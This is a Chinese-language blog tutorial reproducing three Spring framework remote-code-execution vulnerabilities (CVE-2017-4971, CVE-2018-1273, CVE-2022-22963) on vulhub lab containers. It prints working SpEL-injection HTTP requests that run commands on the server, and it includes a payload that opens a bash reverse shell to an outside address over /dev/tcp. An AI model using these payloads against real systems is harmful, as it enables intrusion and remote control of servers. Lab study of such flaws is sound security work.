Spring框架漏洞

目录

1、CVE-2017-4971

触发漏洞的条件

1.1.登陆

1.2:访问存在漏洞的页面

1.3.漏洞利用

2、CVE-2018-1273(远程命令执行漏洞)(SPEL表达式注入漏洞)

漏洞利用条件和方式

2.1.信息收集

2.2.攻击利用

2.3.漏洞验证

3、CVE-2022-22963(SPEL命令表达式注入漏洞)

漏洞原理

3.1.使用服务器发送以下数据

3.2.攻击利用

3.3.漏洞验证


以下框架漏洞均为Spring的框架,博主将从漏洞原理以及漏洞利用上来讲解,代码层面来讲解可能需要后面一段时间,本篇章的框架漏洞也暂此告一段落了,后面也会更新新的内容知识。以下所有靶场均来自vulhub(肥肠好用,重点是免费)

1、CVE-2017-4971

触发漏洞的条件

由上我们知道了有这两个条件才能触发漏洞:

1.在 webflow 配置文件中 view-state 节点中指定了 model 属性,并且没有指定绑定的参数,即 view-state 中没有配置 binder 节点

2.而且 MvcViewFactoryCreator 类中 useSpringBeanBinding 默认值(false)未修改

(如果默认值被修改则执行不了表达式)

参考链接  

1.1.登陆

首先访问/login页面,输入账号密码

9c08f0401b7645d38db94764b3141b9b.png

1.2:访问存在漏洞的页面

然后访问id为1的酒店http://your-ip:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Proceed”(从这一步,其实WebFlow就正式开始了):

f1afc2fef6a1441dadc15f14ce4b9ddb.png

1.3.漏洞利用

修改数据包内容,对抓包的数据增加以下内容(反弹shell)记得url编码

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub

 

6ee292b545f1d11d0fd3415b0fa29d3e.png


2、CVE-2018-1273(远程命令执行漏洞)(SPEL表达式注入漏洞)

参考链接

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

 

反弹shell方法:创建一个文件写有反弹shell代码,让其远程访问并下载

 

漏洞利用条件和方式

确认目标项目中包含Spring-data-commons包和版本范围如下:
Spring Data Commons 1.13 to 113.10
Spring Data Commons 2.0 to 2.0.5


查看相关特性是否已经开启
1.@ EnableSpringDataWebSupport被显示声明
2.@ EnableSprinaDataWebSupport没有显示声明,而是采用了spring-boot样架的自动扫描特性当采用Spring-boot的自动扫描特性的时候,在启动时会自动加载SpringDataWebConfiguration类效果与上述相同
3.在非注解声明项目中,如果有如下声明,也考虑开启了相关的特性


### 漏洞影响范围
Spring Data Commons 1.13至1.13.10 (Ingalls SR10)
Spring Data REST 2.6至2.6.10 (Ingalls SR10)
Spring Data Commons 2.0至2.0.5 (Kay SR5)
Spring Data REST 3.0至3.0.5 (Kay SR5)
较旧的不受支持的版本也会受到影响

2.1.信息收集

搭建容器后,进入users页面可以看到一个用户注册页面

9a2eeafd7d18aec0113967db6e4bae14.png

2.2.攻击利用

抓包修改为以下内容并发送:

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

2.3.漏洞验证

进入服务器:docker-compose exec spring bash,查看tmp目录,发现新创建了一个success文件!

 

14ec7182b4980be753d4f39f4a280a21.png


3、CVE-2022-22963(SPEL命令表达式注入漏洞)

漏洞原理

由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码。

3.1.使用服务器发送以下数据

curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data-binary test

这个请求的作用是将test字符串转换为大写形式,因为请求的路径是/uppercase,这很可能是一个服务器上的API,用于将请求的内容转换为大写形式并返回结果。

3.2.攻击利用

发送以下数据包,spring.cloud.function.routing-expression头中包含的SpEL表达式将会被执行

POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

test

3.3.漏洞验证

进入docker容器访问tmp目录发现success文件已经创建

 

5f5636a37feb42fdb0bd1b200ae91f9b.png


 

  • 25
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

B10SS0MS

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值